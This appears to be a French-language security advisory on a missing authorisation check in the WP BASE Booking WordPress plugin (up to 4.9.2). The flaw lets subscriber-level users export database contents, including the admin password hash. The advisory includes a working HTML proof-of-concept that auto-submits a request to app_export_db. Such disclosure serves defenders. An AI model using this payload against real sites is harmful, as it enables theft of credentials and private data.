
WP BASE Booking of Appointments, Services and Events <= 4.9.2 - Absence d'autorisation chez les utilisateurs authentifiés (Abonné+) entraînant l'exposition d'informations sensibles via app_export_db
WP BASE Booking of Appointments, Services and Events <= 4.9.2 - Absence d'autorisation pour les utilisateurs authentifiés (Abonné+) entraînant l'exposition d'informations sensibles via app_export_db
Le plugin WP BASE Booking of Appointments, Services and Events pour WordPress est vulnérable à un accès non autorisé aux données en raison d'une vérification de capacité manquante sur la fonction export_db dans toutes les versions jusqu'à la 4.9.2 incluse. Cela permet aux attaquants authentifiés, disposant d'un accès de niveau Abonné et supérieur, d'exposer des informations sensibles de la base de données, telles que le mot de passe administrateur haché.
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php?action=app_export_db" method="POST">
<input type="hidden" name="action" value="app_export_db" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>